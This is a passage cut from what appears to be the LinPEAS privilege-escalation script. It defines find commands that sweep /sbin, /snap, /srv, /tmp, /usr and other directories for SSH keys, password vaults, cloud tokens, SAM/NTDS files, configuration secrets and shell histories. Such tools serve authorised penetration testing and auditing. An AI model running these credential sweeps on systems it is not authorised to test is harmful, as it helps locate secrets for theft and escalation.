-name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \"sess_*\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_RUN=`eval_bckgrd "find /run -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SBIN=`eval_bckgrd "find /sbin -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SNAP=`eval_bckgrd "find /snap -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SRV=`eval_bckgrd "find /srv -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SYS=`eval_bckgrd "find /sys -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SYSTEM=`eval_bckgrd "find /system -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SYSTEMD=`eval_bckgrd "find /systemd -name \"*.service\" -o -name \"*.timer\" -o -name \"rocketchat.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_TMP=`eval_bckgrd "find /tmp -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \"agent*\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \"sess_*\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_USR=`eval_bckgrd "find /usr -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \"ssh*config\" -o -name \".k5login\" -o -name \"index.dat\" -o -name 